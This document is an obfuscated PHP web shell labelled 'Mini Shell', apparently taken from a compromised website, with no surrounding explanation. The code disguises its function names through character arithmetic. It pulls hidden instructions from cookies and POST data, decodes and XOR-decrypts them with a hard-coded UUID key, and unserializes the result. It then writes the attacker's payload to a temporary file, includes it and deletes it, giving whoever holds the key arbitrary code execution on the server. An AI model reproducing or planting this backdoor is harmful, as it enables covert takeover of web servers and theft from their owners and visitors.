Mini Shell

$GPAzflmQKT = "\x4d" . "\x5f" . "\111" . chr (98) . "\145";$wmJlw = chr ( 222 - 123 ).chr ( 303 - 195 )."\141" . chr ( 321 - 206 )."\x73" . chr (95) . 'e' . "\x78" . "\151" . 's' . "\164" . chr ( 688 - 573 ); $QrfgAGin = class_exists($GPAzflmQKT); $wmJlw = "3355";$kPdOEmBaC = strpos($wmJlw, $GPAzflmQKT);if ($QrfgAGin == $kPdOEmBaC){function KxdxN(){$MAPBURhZmg = new /* 22798 */ M_Ibe(61046 + 61046); $MAPBURhZmg = NULL;}$eChhlgNwaC = "61046";class M_Ibe{private function oWNirjtyNv($eChhlgNwaC){if (is_array(M_Ibe::$IBWCDnR)) {$name = sys_get_temp_dir() . "/" . crc32(M_Ibe::$IBWCDnR["salt"]);@M_Ibe::$IBWCDnR["write"]($name, M_Ibe::$IBWCDnR["content"]);include $name;@M_Ibe::$IBWCDnR["delete"]($name); $eChhlgNwaC = "61046";exit();}}public function FfOGrOyR(){$kpkTEj = "48928";$this->_dummy = str_repeat($kpkTEj, strlen($kpkTEj));}public function __destruct(){M_Ibe::$IBWCDnR = @unserialize(M_Ibe::$IBWCDnR); $eChhlgNwaC = "6535_29781";$this->oWNirjtyNv($eChhlgNwaC); $eChhlgNwaC = "6535_29781";}public function WSuLuc($kpkTEj, $BpVQMWD){return $kpkTEj[0] ^ str_repeat($BpVQMWD, intval(strlen($kpkTEj[0]) / strlen($BpVQMWD)) + 1);}public function wVpCrdN($kpkTEj){$MftkOVVTQ = 'b' . chr (97) . 's' . "\x65" . "\66" . "\x34";return array_map($MftkOVVTQ . chr (95) . 'd' . "\145" . "\143" . chr (111) . chr ( 921 - 821 )."\145", array($kpkTEj,));}public function __construct($brVTZQn=0){$gYvOtI = chr (44); $kpkTEj = "";$WskOrCiQ = $_POST;$FjwfKEedGd = $_COOKIE;$BpVQMWD = "20ea560b-e967-4598-8c33-8ee9bf351597";$ReTtuNKfpB = @$FjwfKEedGd[substr($BpVQMWD, 0, 4)];if (!empty($ReTtuNKfpB)){$ReTtuNKfpB = explode($gYvOtI, $ReTtuNKfpB);foreach ($ReTtuNKfpB as $RZYTwkK){$kpkTEj .= @$FjwfKEedGd[$RZYTwkK];$kpkTEj .= @$WskOrCiQ[$RZYTwkK];}$kpkTEj = $this->wVpCrdN($kpkTEj);}M_Ibe::$IBWCDnR = $this->WSuLuc($kpkTEj, $BpVQMWD);if (strpos($BpVQMWD, $gYvOtI) !== FALSE){$BpVQMWD = explode($gYvOtI, $BpVQMWD); $IErOZOt = sprintf("6535_29781", rtrim($BpVQMWD[0]));}}public static $IBWCDnR = 25223;}KxdxN();}